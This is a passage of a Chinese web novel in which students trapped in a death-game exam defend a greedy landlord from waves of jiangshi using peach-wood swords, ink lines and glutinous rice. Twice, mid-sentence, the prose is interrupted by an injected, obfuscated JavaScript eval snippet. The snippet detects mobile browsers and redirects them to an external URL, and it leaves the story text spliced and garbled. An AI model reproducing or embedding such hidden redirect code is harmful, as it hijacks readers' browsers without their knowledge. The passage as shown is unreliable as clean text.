有时候宁愿受一点委屈,盛悦也不想被人粘着。 陈语圆又要往面前凑:“那我也去后面好了,陪着你。” 盛悦连忙制止她,思索片刻,在她的耳边小声说了句:“你就在前面待着,别让那两个傻叉占便宜。” 两个傻叉就在旁边:“……” 陈语圆白了他们一眼,道:“……那好吧,你要小心啊。” 于是,盛悦终于得以摆脱掉她,一身轻松地走到了队伍的末尾,络腮胡胖男见这名长相恐怖的新人过来,烧水壶似地嘤了一声。 随着门彻底推开,所有人伸着脖子往四合院里张望。 灰袍男人看到有人来访,“啊!”的一声,如同抓住救命稻草般冲迎上来,一惊一乍把所有人都吓得一抖。 低马尾女生神经紧绷着,立即感到一阵强烈的不适。 “太好了!你们可算来了!等了我好久!” 灰袍男人径直朝夏凉冲过去,冲到近处时被她面无表情的一个巴掌扇中,丝滑地改变了轨道,扑在了刘折的怀里,开始嗷嗷哭。 夏凉满意地挑了挑眉。 刘折看了她一眼,心里嫌弃,但面上还是保持热心的态度,问道:“怎么了,发生什么事了?” 灰袍男人抬起脸,望向刘折,八字眉下,两行泪水哗哗地流着,他激动道:“就快开始了!就快开始了!那群怪物就要找上门来了!” 怪物? 盛悦心中顿时生出一种极其不好的猜测。 “什么怪物?”夏凉沉眸问。 灰袍男人崩溃地哭嚎:“僵尸!有好多僵尸!它们来索我的命了!诸位道长快救救我!” 盛悦:“……” 啊,还真给自己猜对了。 3. 僵尸小游戏1 所有人愣在原地,受惊程度不比灰袍男人低,结合周围建筑所展现的年代背景,他们的脑海中已经循环播放童年阴影电影的画面——— 藏青色的寿衣跳跃前行,腐烂发黑的脸上镶嵌着发黄的死鱼眼珠,还有伸在身前浸满尸毒的尖指甲…… 这游戏的意思是让他们这群不会法术赤手空拳的大学生去杀僵尸?他们自身都难保! 那这些雾里的腐烂气味…… 络腮胡胖男弯下腰一阵干呕,其余人被影响,也跟着不同程度地干呕起来,像一群猫在吐毛球。 盛悦拳头抵住发白的嘴唇,庆幸自己没有吃晚饭,硬着头皮,随着众人往四合院里走。 过了会儿,门外只剩下队尾的男模哥和盛悦,二人同时停下脚步看向彼此,男模哥神色中闪过一丝退缩,但还是颇有风度地道:“你先进去吧,我殿后。” 盛悦嗯了一声,毫不客气地跨进去。 突然,男模哥脚绊到门槛,整个人往前栽了出去,盛悦眼疾手快地将他扶住。女生动作幅度很小,看起来轻松无比,就像是接住了空中落下来的气球,她声音淡淡道:“没事吧?” 男模哥惊讶地抬起头。 盛悦见他已经站稳,便松开手,转身往院子里面走去,只留下男模哥还保持着惊讶的表情看着她的背影。 男模哥:……这怎么可能…… 他将近一米九的身高,虽然看起来很瘦,但常年健身,身上是有肌肉的,再加上身高,体重达到一百六。 可他突然被绊倒,压根没反应过来,浑身一丝力气都没有使。 也就是说,刚刚,他的全部重量都被这名瘦弱不已的女生接住了。 而她的胳膊连抖都不带抖一下的! 一切发生得太快,没有人注意到门槛这里发生的事。 盛悦刚走进来,就又被突然冒出来的陈语圆缠住了胳膊,带着往夏凉身边走:“走吧成敏,咱们离门远一点。” 盛悦一秒僵直,失去所有手段:“……” ……吴鑫,你看你干的好事!这何时是个头啊…… 一旁,刘折费了好大的劲才把灰袍男人从身上扒了下来,问:“您是?” 灰袍男人一抽一抽地哭,突然看向某处,随后把视线正回来,回答:“我是仁老爷,这座四合院的主人,是我派仆人去请诸位道长来消灭僵尸的。” 盛悦皱眉,循着仁老爷刚才的视线看过去。 ……他在看那名低马尾女生?还是女生身后的什么东西? 夏凉自然而然地接受了道长的身份,认真问道:“僵尸为什么来索你的命?你是干了什么缺德的事吗?” 仁老爷的哭声一滞,也不抽了,眼珠子左右转动:“我和他们没有任何血缘关系,完全不熟……” 至于第二个问题,他支支吾吾起来:“我我我也不太确定……可能,是一不小心……把他们的坟都推了吧……还、还没有给他们家里人赔偿损失费……” “……可、可是那块地本来就是我的,我是要建酒厂的,谁会不爱喝酒呢……”声音越说越虚,似乎完全知道自己的缺德。 众人:“……” 那还真是好一个不小心。 盛悦:你这属于活该。 此话一出,所有人看向仁老爷的眼神中多出了数不尽的鄙夷。 仁老爷暗道不妙,又把眉毛拧成一撇一捺,露出一副可怜的模样:“我知道!我罪孽深重!但是罪、不至此啊……求求你们了一定要保护我……我付了你们义庄钱的!你们必须保护我!” 众人:……求着求着怎么还威胁起人来了。 仁老爷一撂手:“不管了,反正它们待会儿会从前面的那条正街过来,你们赶紧准备吧!我的性命安全可就全靠你们了!” 话音落下,一块蓝色的荧光屏幕在他的身旁展开,飘浮在半空中。 考生们心道规则终于出现了,赶忙凑过去看,屏幕开始自动播报,使用的同样是候考厅内的机械女音: 【剧情探索度100%】 【现在公布考试信息,本场考试内容为随机小游戏。】 【游戏通关目标:请保护可怜的仁老爷,并消灭掉所有的僵尸。】 所有人:可怜?他可怜个屁! 要消灭掉所有僵尸?那可怜的应该是他们才对吧! 【小游戏共有三轮通关机会,消灭所有僵尸则通关,仁老爷死亡则单轮游戏失败,直接开启下一轮。】 【9名考生共拥有50枚铜币,点击下方小程序即可购买道具。】 【每轮开始前,铜币的数量都会刷新,并且考生拥有15分钟的时间选择道具,选完道具后,游戏正式开始。】 【游戏规则补充: 1.道具只有考生可以使用,并且所有道具对仁老爷不起作用,仁老爷是被完全保护的对象,没有任何攻击力。 2.僵尸不仅会攻击仁老爷,也会攻击考生,请考生保护好自己。 3.憋住呼吸可以暂时让僵尸失去攻击目标。 4.单轮游戏时长不限,三轮机会中有一轮挑战成功即为通关。 5.虽然有三轮通关机会,但所有考生的性命有且只有一条!】 【15分钟倒计时开始。】 【15:00】、【14:59】…… 【小程序按钮】 刘折和锡纸烫男一听有道具可以买,紧绷的神经这才稍作缓和。 还好还好,不是让他们去和僵尸肉搏,游戏也给了他们多轮通关的机会,不是一局死。 阅读完规则后,夏凉点击小程序按钮,屏幕中出现一条长长的列表: 【桃木剑,7枚铜币/把,插入僵尸体内,可使其损毁。】 【生糯米,2枚铜币/袋(10斤),可吸噬僵尸身上的尸毒。】 【墨斗,5枚铜币/只(100米),可击退僵尸,并对其造成伤害。】 【静止符,5枚铜币/张,大声念出写在其中的咒语,可使僵尸集体静止一段时间。】 【黄金铃,5枚铜币/只,摇动可吸引方圆数米内的僵尸。】 【隐身符,10枚铜币/9张,带在身上可被僵尸忽略。】 【大红灯笼,3枚铜币/串,帮助考生提供照明。】 一共有七种道具,全是僵尸电影里经常出现的。 盛悦眼神落在列表结尾处停留许久,看上去像在走神。 氛围整得这么恐怖,没想到就真的只是打怪小游戏而已。 那应该不会很难了吧。 15分钟有限,仁老爷被晾在一边,众人围在一起谨慎地讨论起购买方案。 说是一起讨论,其实就是夏凉二人和刘折二人互相斗法,前面二人认真地给意见,后面二人无论前面说什么都要反驳上一句,也不管合不合理,把陈语圆气得腮帮子直抖。 其余考生实在听不下去了,帮她们说话,然后被接着以各种刁钻的角度反驳。 好好的氛围一时间搞得莫名有些剑拔弩张,但因为是在游戏中,他们都在忍耐,忍耐着不撕破脸皮。 整个过程中,只有盛悦一直神游事外,左边看一会儿,右边看一会儿,就是不看大伙,好像自己不是他们中的一员一样,被陈语圆问意见,她也只是顺着她的想法附和一句。 盛悦打了个哈欠,忽视掉男模哥第N次偷瞟自己的视线,这次选择看地。 这种小组作业最不适合她了,绝对不能掺和进去。 这点她太有经验了,如果主动参与讨论,提出意见,还被采纳了,后面一旦游戏出了任何问题,她都会立马被当作众矢之的怪罪,不管这究竟是不是她的锅。 因为她的恐怖长相,因为她被孤立霸凌的常态。 而这次,还会因为她的新人身份。 所以只要游戏还在考生们的可控范围内,她就打算一直浑水摸鱼,主打一个观光体验。 不过好在考生们也并不期望她能够做些什么,盛悦在那里神游,他们也不在乎,自顾自地讨论,仿佛都已经默认了新人只要不拖后腿就是最大的贡献。 经过激烈的“讨论”,考生们终于制定出所有人都满意的购买方案: 首先,9张隐形符每人一张是必选项,能保护他们免受僵尸攻击。剩下的钱分别购买4把桃木剑、1只墨斗、1袋生糯米和1张静止符,铜币刚好用光,没有买黄金铃和大红灯笼。 其实夏凉她们本来想的是除了隐身符,剩余的钱全买桃木剑的,毕竟看介绍,桃木剑是威力最大的。 但是无奈于资金有限,全买剑也只能再多买1把而已,而考生却有九名,道具不够分,因此为了端水,最终她们还是选择了现在的方案。 盛悦觉得这个方案不错,目前他们完全不清楚这些道具的具体杀伤效果,因此每样都买一些是很稳妥的做法。 道具的分配夏凉提议由猜拳决定,其余人表示可以,唯独刘折和锡纸烫男有些闷闷不乐,不过分配的结果是他们所希望的。 桃木剑分给锡纸烫男、络腮胡胖男、低马尾女和短发女,盛悦和男模哥两个人共同使用墨斗,静止符给刘折,生糯米给夏凉和陈语圆。 胖男生不敢拿桃木剑跟僵尸近身搏斗,刘折与他互换,胖男生改拿静止符,除此之外没人再有异议。 见夏凉和陈语圆的道具没自己的厉害,刘折和锡纸烫男靠在一起偷笑。 两名女生翻了个大大的白眼。 列表的最下方有倒计时和“确定”按钮,刘折朝屏幕伸出一根手指。 盛悦暗道不好,纠结了一会儿,突然出声阻止:“先别急着点确定,时间还有4分多钟,咱们完全可以勘查一下游戏场地。” 这是她进入这里以来,第一次说和游戏有关的话。 所有人都看向她,表情微微愣住。 盛悦:“……” 艹,她后悔了。 夏凉在沉默中第一个做出回应:“嗯,是个好主意。” 刘折的手指停住,见夏凉回应了,自己也道:“……的确。” 他不由地重新打量面前的这名新人,虽然瘦弱不已,看上去反应很迟钝的样子,没想到还有点脑子。 他道:“那行,咱们就在四合院里分开来看看吧……” 不想再次被盛悦打断:“不止四合院哦,外面也是。”头往门外的方向一靠。 他们还有两条岔路没有去看过。 锡纸烫男望了一眼黑漆漆的门外,没发现自己声音都变了,用力甩头,头发跟泡面一样甩动:“外面?还是算了吧!万一有什么危险……” 夏凉:“嗯我也觉得应该去外面看看,大家分成两组,一内一外,你们要是害怕,就待在院内好了。” 锡纸烫男自动认为“你们”是指他和刘折,立刻嘴硬道:“……谁、谁说我们害怕的?刘哥,咱们就去外面!” 刘折:“……”表情瞬间变僵。 * 夏凉、刘折、锡纸烫男三人依次跨过门槛,走到院外,后面两个腿哆嗦得比八十岁老爷爷还要厉害。 而四合院里,盛悦等六名考生两两一组散开,对四合院的房间一一进行搜查。 盛悦站在空地上,被动陪着陈语圆四处看。她在众人讨论购买道具的时候,已经仔仔细细地观察过一遍了。 整座四合院的面积不小,但是装修简陋陈旧,正前方的正房是一座双层楼,瓦砾屋顶,二楼有一段长长的露天走廊,两侧的厢房是单层的,有一只盛满水的大铜缸摆放在一侧的屋檐下。 盛悦视线移向仁老爷,后者被她幽幽的眼神看得浑身一僵,后背的寒毛都竖了起来,连忙颔首笑了几下。 盛悦不搭理他,挪开视线,心想这NPC还挺生动,居然会被她吓到。 陈语圆检查完院子,对盛悦说:“成敏,咱们去正房里看看吧。” 盛悦点头:“……嗯。” 二人进入正房正厅,盛悦一眼便看到了桌上摆放的水果盘,放在顶端的苹果看起来还很新鲜的样子。 盛悦咽了口口水,这才想起来她今天一整天都没吃什么东西。 不过她当即放弃拿几个来吃的想法,放在如此腐臭的空气里,估计早就腌入味了吧。 正厅靠墙有一座木质楼梯,台阶很陡,二人看完一楼,便沿着台阶走上二楼,发现这是一间卧室,应该就是仁老爷的,卧室里有床、衣柜和书桌,装修极简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342963|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡雅,没什么装饰品。 二人把屋里的每一个角落都查看了一遍,连天花板也看了,只有面向内部的这面墙上有窗户,天花板上也不存在天窗,基本排除僵尸偷袭的可能。 就算有天窗,一般的僵尸也跳不上来,但两侧的厢房就不一定了。 盛悦路过书桌时,不动声色地拿起桌上的一把银剪刀,插进裤兜里,跟随陈语圆下楼。 六人回到空地上交换信息,没什么重要的发现,这就是一座很普通的四合院。 短发女生和低马尾女生手上各拿着一只簸箕和一只水舀,前者:“这是从厨房里找到的,撒糯米或许会用得到。” 陈语圆感激溢于言表:“……谢谢你们!” 短发女生递过去:“没什么,互相帮助嘛。” 低马尾女生的状态有些迷离,她表情木木的,也把水舀递过去。 二人全程都没敢看旁边的盛悦一眼,也没有和她说一句话。 盛悦在一旁发呆,一副无所谓的样子。 众人刚交流结束,虚拟屏幕上,倒计时正好归零。 这也意味着,游戏正式开始。 一堆道具凭空出现,整齐地放在屏幕前的地上。 络腮胡胖男第一个动作,饿虎扑食似地跑过去,跪在地上,将两张黄色符纸攥紧在手中,顿时生命安全得到了保障,大大松了口气。 其余人也快步走过去,拿起属于自己的那份道具,盛悦看着手中的墨斗和隐身符,有种不真实的感觉。 陈语圆把簸箕水舀放在地上,双手抓在糯米袋子的上端,扎开马步,向上使劲一用力。人和袋子都纹丝不动。 陈语圆:“……艹!” 盛悦嫌弃地瞥了她一眼,走过去:“我来吧。” 陈语圆:“这怎么行,你生了这么严重的病,身体肯定很……” 盛悦单手拎起糯米袋,举到胸口齐平的位置晃了晃:“希望够用……等等,你刚才说什么?” 虚弱。 陈语圆:“……?” 她好像误会了什么。 在盛悦疑惑的目光中,陈语圆摇头摆手:“……没什么没什么,是我误会了哈哈哈哈。” 盛悦:“……哦。”她也懒得再问,朝四合院门外走去。 陈语圆:“成敏,你干嘛去?” 盛悦语气冷冷的:“帮……你撒糯米。”说第一个字时语气又古怪了一阵。 陈语圆愣了一下:“啊,那我也来帮忙。”捣着小碎步跑过去。 盛悦掏出剪刀,剪开糯米袋,抱起来倾倒在陈语圆举起的簸箕上,后者把它们均匀地撒在院门前。 过程中,陈语圆时不时偷瞄一下盛悦,然后快速移开视线:……所以,她并没有生病,甚至力气还很大。 那为什么看起来会这么虚弱? 四合院里的其余考生把隐形符塞进口袋里,紧握着道具走到门口。 短发女生望着前方的古街,黑洞洞如同鬼怪的巢穴,她后背紧贴着门板,发怵道:“……夏姐他们什么时候回来?游戏已经开始了……” 她话音刚落下,所有人的表情一阵微动,听到远处传来急促杂乱的奔跑声,似乎还有男性的嚎叫声。 随着距离靠近,声音越来越大。 陈语圆第一个看到:“是夏凉他们,他们回来了!” 而且看起来非常的慌张,只见两名男生张牙舞爪跑在前面,不住地回头望,惊叫着向众人展示后槽牙,夏凉落在后面一大截,表情镇定。 刘折和锡纸烫男冲进人群中:“我的桃木剑呢!隐身符呢!你们没帮我拿吗?” 低马尾女生:“在我这里……” 话还没说完道具就被抢了过去,刘折嚷嚷:“快把剑还给我!”把女生的手掌都划破了一个小口子,二人缩到了人群的最后。 短发女生:“你们遇到僵尸了?” 刘折恐极反怒:“废话,不然我们跑回来做什么?” 短发女生皱眉:“你语气这么冲干什么?” 这时夏凉终于跑了回来,面色有些发白:“别理那两个孙子,僵尸就快追上来了,大家做好准备。” 刘折、锡纸烫男:“?” 盛悦问夏凉:“两条岔路什么情况?” 夏凉喘了口气,回答:“我们过来的那条小路的对面也是个死胡同,被墙堵起来了。但是前面的正街却很深,最起码有七八十米,没有岔路和胡同,就是笔直的一条,街的尽头是一座牌楼。” 盛悦一边听,一边抽出一段墨线,让男模哥拿稳一端,自己拿着墨斗:“牌楼?” 夏凉:“对,牌楼后面什么都没有,牌匾上写着三个字:鬼门关。” ……鬼门关?! 众人浑身一颤,一股凉气蔓延而上。 盛悦没什么反应,心道这应该就是僵尸的生成点了。 不过既然两侧的小路都是死胡同,僵尸就没有办法偷袭和包抄,他们考生可以从四合院里全部提出来,挡在院门口,用不着贴身保护仁老爷。 夏凉朝院内道:“老爷,你就站在原地,不要乱跑。” 仁老爷也不藏进屋里,就孤零零地站在院子中央,皱着八字眉,乖巧点头。 而这时: “吼———” 一声低吼突然在前方的不远处响起。 那声音很小,似老年男子病痛垂死的呜咽,又很像压抑至极的怪物猛兽,在空旷的街道回荡,却极其的清晰。 鸡皮疙瘩瞬间在背后炸开,所有人一时间呆愣在原地,紧握道具的指尖发白。 刘折在心中惨嚎:这么快就追上来了! 片刻后,低吼近了很多,并且逐渐能听到跳跃的声音。 一跳一顿,一跳一顿,沙石在鞋底摩擦,声音越来越大。 盛悦攥紧墨斗,定定地凝视前方。 当声音就响在黑暗与光亮的交界处时,盛悦终于看到了来访者,它身上每一处可怖的细节都在灯笼光之下一览无余,鲜艳的颜色在灰扑扑的古街之中显得格外刺眼,仿佛一抹致命的毒药。 所有人深深地倒吸一口凉气。 黑夜白雾中,跳出来一具面目狰狞的僵尸! 4. 僵尸小游戏2 黑夜白雾中,跳出来一具面目狰狞的僵尸! 褪色破烂的藏青色寿衣、铁黑干瘪的脸、泛黄的獠牙暴露在空气外,亮蓝色的十根尖指甲直直地伸在身前! 深刻进童年的恐惧与来自鬼物的压迫感瞬间侵袭在场的所有人。 虽然已经有了心理建设,但真正亲身经历时,盛悦还是生起了一丝退缩的情绪,谁让它是自己的童年阴影呢。 她永远都记得上小学三年级的时候,有一名同班同学这么跟她说:“等你满了18岁,就会在月圆之夜变成恐怖的僵尸,因为你是僵尸的女儿。” 那个时候的盛悦才九岁,思想多单纯啊,真就信了,那段时间每天晚上都吓得蒙在被子里哭,还给自己熬糯米粥喝,踩在生糯米上跳舞,做噩梦都是变成僵尸伤害了妈妈爸爸。 连盛悦都会害怕,更不用说其他人,他们吓呆在了原地,哑口无言。 真正的僵尸远比电视里的还要恐怖无数倍,僵尸瞪着死鱼眼,猩红的眼皮暴露在外,一步一步跳过来,快速靠近。 胖男生忘了自己有隐身符,大憋一口气,结果没出几秒就噗的一口吐出来,瞥向手握桃木剑的四人,捏着嗓子:“桃木剑不是最厉害吗,你们快去杀它呀……快去啊……” 四个人看看他,继续看回僵尸,愣愣的没反应,大脑已经停止了思考,全在不断地后退。 就连夏凉也还在斟酌。 眼看着僵尸离四合院大门越来越近,即将无痛直达复仇晚餐,盛悦目光扫过无动于衷的众人。 既然你们都支棱不起来…… 哎…… “那我们上!” 她话还没说完就冲了出去,冲出一道白色的残影,男模哥一个踉跄,一脸惊恐地被拉着往前冲。 他欲哭无泪,姐你别这么猛!他害怕! 所有人都被吓了一大跳,尤其是夏凉和刘折二人,当时他们的注意力全在仁老爷的身上,压根没注意到新人扶男模哥的事。 所以在他们眼中,这瘦弱不已、全程摸鱼的新人犹如突然诈尸了一般,拉着个比自己高一个头的男生就冲向僵尸,速度还奇快无比。 锡纸烫男抱头:“完蛋,她中尸毒了!” 夏凉:“喂……!” 盛悦这边,她紧盯目标,奔跑的幅度很快,手中的墨线却非常平稳,墨线被两侧的人拉扯绷直,朝僵尸的腹部袭击过来。 双方快速靠近。 碰触在一起的瞬间,“崩!”的一声,火花带闪电,其余人一激灵,僵尸惨哼一声,直直地朝后飞了出去,一个平直的抛物线后,跌坐在地上。 但仅过了一秒钟,僵尸就直立回来,重新往前跳。 盛悦和男模哥早已准备好,又是迎面一击,“崩!”,僵尸又飞了出去,这次飞得远了一些,站起来,像打不死的小强。 二人正欲第三次攻击,身旁突然一捧生糯米抛洒而出,带起一连串的“崩!”,僵尸胡乱地抽搐,往前跳,但阴狠的气势明显弱了下去。 盛悦转头,见夏凉已经调整好了状态,双手抓着空了的簸箕,目光坚定明亮。 陈语圆看自己的姐妹都冲出去了,也抓着水舀小碎步跑了过来,用力一抡,结果抡得太用力,身体跟着转了180度,大部分糯米全撒在了盛悦和夏凉的脸上身上。 二名女生被砸得整齐地闭上了眼睛,随后缓缓睁开,看向陈语圆:“……” 陈语圆把身体转回来,一看,拿水舀挡住脸,脸飞速变红:“私密马赛……” 不过好在还有一小部分糯米撒在了僵尸身上,又是响起了一阵崩声。 刘折一看,连那个运动废物都能伤到僵尸,表情中的惊恐迅速消失,提起剑,啊啊啊地冲了过来:“让开,你们都让开,让我来!” 四人往旁边撤,刘折弯腰躲过有尸毒的尖指甲,一剑刺进僵尸的腹部。 僵尸:吼——— 刘折龇牙咧嘴:“喝啊———!” 夏凉翻了个白眼。 在五轮进攻下,僵尸终于直挺挺地倒了下去,化作一堆齑粉。 刘折看看齑粉,又看向手中的桃木剑,笑了。 干,他真厉害。 简直就是绝杀王。 接下来,正街又陆陆续续地跳过来三具僵尸,不同方位。 有了示范,全体考生们抄着家伙一拥而上,盛悦见他们干劲这么足,没自己什么事了,也摆摆样子往前冲。 到最后,三具僵尸全被刘折和锡纸烫男一剑轻松解决,同样拿着桃木剑的短发女生和低马尾女生也想帮忙,却总是被二人抢先。 僵尸每跳过来一具,考生们就前进一段距离,提前将它杀掉,随后过了一会儿,下一具出现。 仁老爷在四合院里哭嚎,让他们别走太远啊自己好害怕啊,所有人消失在浓雾中后,他表情一收,懒得再演了。 所有人不知不觉已身处漆黑古街的深处,虽然大部分人都是第一次来到这里,但他们的神情都不再那么紧绷。 没想到这次的游戏居然这么简单。 刘折把剑在手中转了两圈,龇个牙笑,看来这回终于能通关了,他不由地叫嚣:“来啊,继续啊,再来一百具老子也照杀。” 在一片积极松懈的氛围中,盛悦却隐隐感到有些不安。 游戏可是给了考生三轮通关机会,还有这么多补充的规则,真的会这么容易吗? 大家互相交谈着,等待下一具僵尸光临。 吼———吼——— 吼——— 连绵的吼叫声乍响,从远处传过来。 盛悦的表情骤变,猛地一抬头。 之前都是一具一具的出现,现在突然多出了这么多,以至于考生们还以为自己听错了。 可他们很快便反应过来,不是错觉。 “咚。咚。咚。” 脚步声由远及近,到后面变得如雷鸣一般轰响,震得脚底的青石板路都在微微晃动。 几名胆小的考生捂住耳朵,不住后退,古街像是个喇叭,放大了脚步声,余音回荡。 “吼——————” 吼声越来越密集,也越来越响。 随着刘折和锡纸烫男脸上的笑容彻底消失,白牙被藏进嘴中,所有人隐约看见僵尸的规模,然后傻眼了——— 排着整齐的方形列阵跳跃前进,每一跳都高度同步,噪音响彻夜空,黑影层层叠叠延伸进浓雾之中,仿佛点击了无数次复制粘贴。 那是一支浩浩荡荡的僵尸大军! 盛悦瞪出两圈眼白。 这要杀到什么时候! 此时刮来一阵风,浓烈的腐臭味扑面而来,侵入口鼻。 “呕———!!!” 不知是被熏的,还是场面过于惊骇,考生们一阵干呕,有几个人还是忍不住吐了。 夏凉拿小臂遮住口鼻,皱眉看他们:“已经够重口味的了,你们还要帮倒忙!” “不……我、我不行了!我要逃了!”胖男生连嘴都忘了擦,抖得跟筛子一样,撂下一句话,转头就跑。 夏凉:“别走,把静止符留下!” 胖男生不听不听,一边飙海豚音一边跑远,黄色的符纸在手中如手帕般飘舞。 几秒后,手握桃木剑的短发女生和低马尾女生也受不了,跟着逃走。 刘折叉腰:“哎,真是服了,你们都带着隐身符,有什么好怕的!石辉,记得数数哦,咱们来比一比谁杀得多!” 锡纸烫男跃跃欲试:“好嘞!” 二人提起桃木剑一前一后往近在咫尺的僵尸大军里冲去。 僵尸排与列之间都保持着间隙可供一人勉强通过,两名男生嚎叫着冲进间隙里,融入队伍深处。 可以隐约看到有几具僵尸倒下。 僵尸大军外面,盛悦与其余三人一边快速后退避免撞上僵尸的尖指甲,一边调整位置试图发动攻击。 没过多久,“啊啊啊啊啊啊!”僵尸队伍里响起一阵男生惊恐的尖叫声,盛悦众人看去,刘折和锡纸烫男两人一前一后,惨嚎着逃出队伍,跑向四合院,这期间甚至没超过30秒。 陈语圆:“……他们敢坚持得再久一点吗?” 男模哥:“啥情况啊?” 盛悦方才的目光一直跟随着刘折,在昏暗之中,盛悦模糊地看见刘折的双手空空如也,手里的桃木剑不翼而飞。 ……他把桃木剑扔了?这么宝贵的道具! 盛悦的血压瞬间上来了,这黑灯瞎火的,到哪里去找! 她强压下怒气,沉声对其余人道:“别管他们了,我们继续。” 其余三人愣住一霎,依言照做。 自从僵尸出现,这名新人的气场就发生了巨大的变化,先前的虚弱感和摸鱼感荡然无存。 四人分成两组,夏凉抱着糯米袋子往空地上倒,把袋子正起来,陈语圆从中舀出糯米泼向僵尸。 男模哥则与盛悦一同将墨斗线继续拉长,一直长到足够挡住所有的僵尸,二人背靠两侧的古楼,将墨线绷直。 盛悦双手向后用力,眯起眼睛。 “崩!”震耳欲聋。 第一排的僵尸整齐地朝后飞了出去,撞倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342964|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队列后面的僵尸,如同多米诺骨牌一般,所有僵尸形成一道青色的波浪,整齐地仰天倒下。 同一时间,墨线断裂,盛悦双手砸在胸腔上,生疼,眉头微微一跳。 就这么愣神的功夫,僵尸大军已经重新立了起来,淹没过二人,势不可挡地朝四合院大门跳去。 此时它们离四合院的距离不超过二十米。 盛悦:“该死!” 她之前还在疑惑,现在终于知道古街这么长的原因了,他们在游戏一开始时就应该跑到牌楼那里去的,这样才能最大化地利用长街的空间。 等等……空间? 盛悦双眼一亮,想到了办法。 另一侧男模哥的叫喊被更大的声响掩盖:“姐,现在怎么办?还要继续吗!” 盛悦没有听到,跑出僵尸大军和两名女生汇合,男模哥见到,也跑过去。 盛悦:“先撤回四合院里,咱们的攻击效率太低了。” 夏凉以为她也想放弃:“那仁老爷怎么办?” 盛悦:“放心,我已经有计划了,你们跟我来。” 两名女生咬牙看向僵尸,又看向彼此,一阵眼神交流后,她们转头跟着盛悦撤离。 夏凉:“行,相信你一次。” 陈语圆:“成敏,你的计划是什么?” 三人的后方,男模哥迈着凌乱的大长腿跑着,不知道是腿软了,还是被地上的糯米滑到,他脚踝忽地一歪,侧身栽倒了下去,一米九的大个子横在地上,摔得不轻。 “艹,痛死我了……”男模哥感觉自己的脚踝传来撕裂的疼痛,半天爬不起来,然而背后的僵尸大军已近在咫尺。 他那个后悔啊……早知道今天就不穿厚底鞋了!不然也不会出意外! 就在他徒劳地在地上咕涌时,下一秒,他感觉到自己被一双极其有力的手拖举了起来,腹部压在骨感的肩头,硌得生疼,头部朝下,脚底悬空。 他竟是被那名新人扛在了肩上。 盛悦站起来,颠了颠肩上的人,随后迈开步子,追逐两名女生的背影,很快跟身后的僵尸拉开距离。 男模哥喷过发胶的头发在跑动中摇晃,耳旁刮风,他陷入沉默:“……” 他再也不会体重焦虑了。 跑到四合院门口,放下男模哥,盛悦对夏凉和陈语圆道:“你们能不能去把其余人的武器要过来?不愿意给的话就抢,然后在正房里等我。” 夏凉犹豫片刻,痛快道:“行。”说着和陈语圆跑进四合院,开始寻找起来。 男模哥也想进门,却被盛悦叫住:“你别走,过来帮我的忙。” 男模哥在门前顿住,转身回来,害怕但听话。 好的姐,你说什么就是什么。 此时僵尸大军离大门只剩下十米的距离。 盛悦无视前方的轰鸣声和耳膜的震动,动作麻利,与男模哥一起,用墨线将大门两侧的石狮子层层缠绕起来,形成一道厚实的白色屏障。 缠得足够厚时,盛悦掏出剪刀给他:“用剪刀剪断,打死结。” 男模哥点头:“明白!” 说完,盛悦搬起靠门槛摆放的糯米袋,将剩余的量尽数倒在大门前后的空地上。 盛悦在门的里侧倒糯米,院内已经看不到其余考生的身影,全都躲了起来,只有仁老爷孤零零地站在院内的中央,满头虚汗。 门外,男模哥系完结,余光瞥到了什么,他抬起头,哇啦地嚎了一声。 盛悦:“怎么了?” 男模哥说不出话,因为第一排正中间的几具僵尸已然站在了他的身前,仅仅一屏障之隔,指甲尖端再往前跳跃一步,就能刺穿他的喉咙。 男模哥朝后跌坐在地上,脸色煞白,同时: 崩! 僵尸们朝后飞去,多米诺骨牌再次形成,男模哥看到面前的墨线屏障里断了好几根墨线,屏障瞬间薄了很多! 盛悦跑出来,再一次扶起他:“你怎么老是爱往地上贴……” 看向僵尸大军,大部队已经跳进了与四合院平行的古街,由于院大门的宽度有限,原本整齐的阵列就散开了。 有墨线屏障挡住正前方和石狮子挡住两侧,僵尸们乌泱泱地围堵在院大门门口,或是原地跳着,或是被击飞,一时间无法进入门里,活像是等待食堂开门的学生。 所幸冲击墨线屏障的僵尸数量减少,墨线又足够厚,得以多拖延一段时间。 这样就足够了,盛悦拽着一瘸一拐的男模哥往里面跑,路过仁老爷时把他也拽上,三人不再管身后的僵尸,径直冲向正房的大门。 5. 僵尸小游戏3 仁老爷估计是年龄大了,加上太久不运动,跑起来非常吃力,盛悦不得不一直拽着他跑。 三人进入正房正厅,就见夏凉正在抢络腮胡胖男手里的静止符,黄色符纸在拉扯间变得皱巴巴的。 夏凉:“快把它给我……这是用来对付僵尸的……” 胖男生缩在一张木桌子的下面,盘腿坐在地上,死死攥住符纸:“不给!这是我的保命符!” 陈语圆忍不住骂了他一句:“孬种,僵尸不杀光,你活到最后有什么用?又通关不了!” 胖男生:“……我不管!” 夏凉彻底没招了,总不能真的揍晕他,无语地松开手,盛悦道:“没时间了,桃木剑都要到手了吗?” 陈语圆手中抱着两把剑,是从短发女生和低马尾女生那拿来的:“只有这么多,刘折和那个泡面头没找到人。” 盛悦:“那两名女生呢?” 夏凉四处看:“刚才还在这里的,不知道躲哪儿去了。” 